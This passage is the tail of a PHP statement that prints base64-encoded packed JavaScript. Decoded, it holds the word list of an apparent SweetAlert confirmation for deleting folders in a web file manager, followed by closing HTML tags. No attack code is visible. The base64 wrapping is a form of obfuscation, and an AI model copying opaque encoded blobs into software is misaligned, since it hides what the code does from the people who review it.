8aWNvbnxzd2FsfHx8fHByZXZlbnREZWZhdWx0fGxldHx5b3V8ZnVuY3Rpb258Y2xpY2t8ZGVsZXRlfHRvZ2dsZXxpbml0fEFyZXx3aWxsfHN1cmV8aWZ8bG9jYXRpb258fGRvY3VtZW50fGZvbGRlcnx0ZXh0fGNvbnN0fHRoZW58ZGFuZ2VyTW9kZXxidXR0b25zfGRlbGV0ZWR8YmV8VGhpc3xic0N1c3RvbUZpbGVJbnB1dCcuc3BsaXQoJ3wnKSwwLHt9KSk8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+")); ?>